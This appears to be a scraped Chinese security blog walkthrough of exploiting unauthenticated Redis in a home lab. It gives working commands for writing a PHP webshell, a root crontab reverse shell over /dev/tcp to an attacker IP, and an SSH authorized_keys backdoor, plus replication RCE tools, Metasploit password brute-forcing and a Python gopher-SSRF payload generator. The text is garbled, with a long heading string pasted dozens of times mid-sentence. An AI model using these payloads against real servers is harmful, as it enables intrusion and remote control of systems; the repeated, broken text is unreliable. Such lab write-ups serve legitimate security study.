【Linux】安裝httpd+php 一、安裝redis服務 kali:192.168.100.23 靶機(centos):192.168.100.20 靶機(centos)安裝redis服務
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
(如果下載下傳不下來的話:http://distfiles.macports.org/redis/)
解壓安裝包:tar xzf redis-2.8.17.tar.gz
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 進入redis目錄:cd redis-2.8.17安裝:make
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 make結束後,進入src目錄:cd src,
将redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 傳回目錄redis-2.8.17,将redis.conf拷貝到/etc/目錄下:
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 使用/etc/目錄下的reids.conf檔案中的配置啟動redis服務:
redis-server /etc/redis.conf
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 kali
安裝redis服務和上圖一樣。 二、漏洞複現 2.1——寫入webshell 要求
成功連接配接redis伺服器
知道web根目錄的絕對路徑
redis伺服器使用者有寫入權限
攻擊機登入靶機的redis服務 Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 目标:在伺服器端 /var/wwww/html/
web目錄下寫入 webshell
CONFIG SET dir "/var/www/html/" //chang database file location
CONFIG SET dbfilename qidao.php //change database file name
set x "<?php phpinfo();?>" //inject shell payload into database
save //save database to file
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 成功寫入
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 2.2——計劃任務反彈shell 要求:
centos服務主機(其他類型的系統,如ubuntu、Debian 由于redis寫到計劃任務中的指令總會不可避免的出現亂碼,而隻有centos主機會忽略亂碼繼續執行)
kali上開啟端口監聽
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 kali登入redis服務,并寫入計劃任務。
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.23/6666 0>&1\n\n"
save
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 成功反彈shell
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 2.3——寫入公鑰遠端連接配接 CONFIG SET dir /root/.ssh
CONFIG SET dbfilename "authorized_keys"
save
CONFIG GET dir
CONFIG GET dbfilename
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 當redis以root身份運作,可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入目标伺服器。
靶機中開啟redis服務:redis-server /etc/redis.conf
在靶機中執行
mkdir /root/.ssh
指令,建立ssh公鑰存放目錄(靶機是作為ssh伺服器使用的)
在攻擊機中生成ssh公鑰和私鑰,密碼設定為空:
本地生成公私鑰檔案
ssh-keygen -t rsa
一路回車和y
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 進入.ssh目錄:cd .ssh/,将生成的公鑰儲存到1.txt:
這裡說一下,公私鑰會生成在
使用者/.ssh
我這裡用的是root使用者,是以就進入
/root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 連結靶機上的redis服務,
将儲存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip指令連接配接靶機,将檔案寫入):
cat /root/.ssh/1.txt | redis-cli -h 192.168.100.20 -x set tide
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 遠端登入靶機的redis服務:redis-cli -h 192.168.100.20
并使用 CONFIG GET dir 指令得到redis備份的路徑:
CONFIG GET dir
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 更改redis備份路徑為ssh公鑰存放目錄(一般預設為/root/.ssh):
CONFIG SET dir /root/.ssh
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 設定上傳公鑰的備份檔案名字為authorized_keys:
然後儲存
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 檢查是否更改成功(檢視有沒有authorized_keys檔案),沒有問題就儲存然後退出,
至此成功寫入ssh公鑰到靶機:
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 在攻擊機上使用ssh免密登入靶機:
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 2.4——主從複制RCE(Linux) 先來看看什麼是redis主從複制
redis為了應對讀寫流量大的情況時,增加了主從模式,此時,會有一個redis伺服器作為主機,其他從屬這台主機的redis伺服器作為備份機,主機隻負責寫,從機負責來讀,這樣就大大減輕了redis主機的讀寫負擔。
利用條件。
redis從4.x版本之後加入了新的子產品,通過外部拓展,可以實作在一個redis中實作新的Redis指令的功能,通過寫c語言并編譯出.so檔案
redis:4.x - redis:5.0.5
在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機
上。然後在從機上加載so惡意檔案,就可以拓展新指令
主從同步示例
這邊開兩台redis_docker redis 5.0.4的測試環境已搭好上傳至dockerhub 有需要的:docker pull beglage/centos_redis_5
從dockerhub上拉取鏡像
docker pull beglage/centos_redis_5
檢視本地docker鏡像
docker images
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 啟動第一個redis——docker容器
docker run -td --name redis -p 6378:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 啟動第二個redis——docker容器
docker run -td --name redis2 -p 6377:6379 --privileged=true --rm beglage/centos_redis_5 /sbin/init
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 檢視docker容器
docker ps
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 我們先來看看這2個docker容器的ip
docker exec -it a040056d75d3 /bin/bash
docker exec -it 5a7971dcfa1c /bin/bash
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 然後通過slaveof可以設定主從狀态(同步狀态),這樣一來資料就會自動同步了
redis-cli -h 172.17.0.2
redis-cli -h 172.17.0.3
redis-cli -h 172.17.0.2
SLAVEOF 172.17.0.3 6379
get c
redis-cli -h 172.17.0.3
get c
redis-cli -h 172.17.0.3
set c 1
get c
redis-cli -h 172.17.0.2
get c
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 環境搭建好後,我們現在來複現。 複現環境
kali:192.168.100.34
redis-dokcer1:172.17.0.2
redis-dokcer2:172.17.0.3
有下圖可以知道,172.17.0.2是屬于172.17.0.3,那麼172.17.0.2就是從機,我們攻擊從機就行了
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 網上收集兩個比較友善的getshell python腳本
漏洞利用1-1
https://github.com/n0b0dyCN/redis-rogue-server
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 漏洞利用1-2
https://github.com/n0b0dyCN/redis-rogue-server
kali先開啟監聽
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 反彈shell成功
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 漏洞利用2
https://github.com/Ridter/redis-rce
在Redis 4.x之後,Redis新增了子產品功能,通過外部拓展,可以在redis中實作一個新的Redis指令,通過寫c語言并編譯出.so檔案。編寫惡意so檔案的代碼 https://github.com/RicterZ/RedisModules-ExecuteCommand
因為編寫惡意so檔案代碼的檔案莫得了,我這裡就借下圖。
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 反彈到其他伺服器:
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 2.5——redis密碼暴力破解 redis開啟密碼驗證。
https://itbilu.com/linux/management/Ey_r7mWR.html
vi /etc/redis.conf
找到這一行,去掉#号
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 添加-a參數可以指定密碼通路
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 使用msf的auxiliary/scanner/redis/redis_login子產品,配置攻擊目标
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 2.6——Windows自啟動 敬請期待。
2.7 ssrf、redis與gopher 如果通過ssrf探測到内網某ip開啟了6379端口,并存在未授權,如何結合gopher協定來寫shell。
gopher是Internet上一個非常有名的資訊查找系統,它将Internet上的檔案組織成某種索引,很友善地将使用者從Internet的一處帶到另一處。在WWW出現之前,gopher是Internet上最主要的資訊檢索工具,gopher站點也是最主要的站點,使用tcp70端口。但在WWW出現後,gopher失去了昔日的輝煌。現在它基本過時,人們很少再使用它;
gopher協定支援發出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合gopher協定的請求。gopher協定是ssrf利用中最強大的協定
gopher協定格式:
URL:gopher://<host>:<port>/<gopher-path>_後接TCP資料流
gopher的預設端口是70
如果發起post請求,回車換行需要使用%0d%0a,如果存在多個參數,參數之間的&也需要進行URL編碼。注意%0d%0a是\r\n的URL編碼。
gopher發送請求HTTP GET請求:
curl gopher://192.168.194.1:6666/_abcd
注意:abcd是要傳遞的資料,_會被吃掉不會傳遞過去
由于gopher協定規則比較複雜,這裡借助一個github的工具來生成payload:https://github.com/firebroo/sec_tools
隻需要在
redis-over-gopher/redis.cmd
中寫入redis執行的指令,比如下面的指令直接在web目錄下寫shell
flushall
config set dir /var/www/html
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save
編輯好後運作
redis-over-gopher/redis-over-gopher.py
python redis-over-gopher.py
就可以生成支援gopher協定的payload:
使用curl運作payload:(生成的編碼把ip改成靶機ip就行了
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 成功寫入。
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 注:需要将内容再進行一次url編碼傳到web的參數中才會正常運作
使用ssrf端口探測的時候,不要拘泥于http協定,還可以使用dict協定來進行探測
利用gopher協定反彈shell
/*gopher協定反彈shell利用腳本*/
import urllib
protocol="gopher://"
ip="192.168.100.23"
port="6379"
reverse_ip="192.168.100.34"
reverse_port="6666"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
攻擊機開啟監聽
Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 Redis漏洞【總結】未授權通路複現與利用【Linux】安裝httpd+php一、安裝redis服務二、漏洞複現目标:在伺服器端/var/wwww/html/web目錄下寫入webshell在兩個Redis執行個體設定主從模式的時候,Redis的主機執行個體可以通過FULLRESYNC同步檔案到 從機這邊開兩台redis_dockerkali:192.168.100.34redis-dokcer1:172.17.0.2redis-dokcer2:172.17.0.3 參考文章:
https://paper.seebug.org/975/
https://www.cnblogs.com/bmjoker/p/9548962.html
https://blog.csdn.net/weixin_43252204/article/details/115181128?utm_source=app&app_version=4.5.4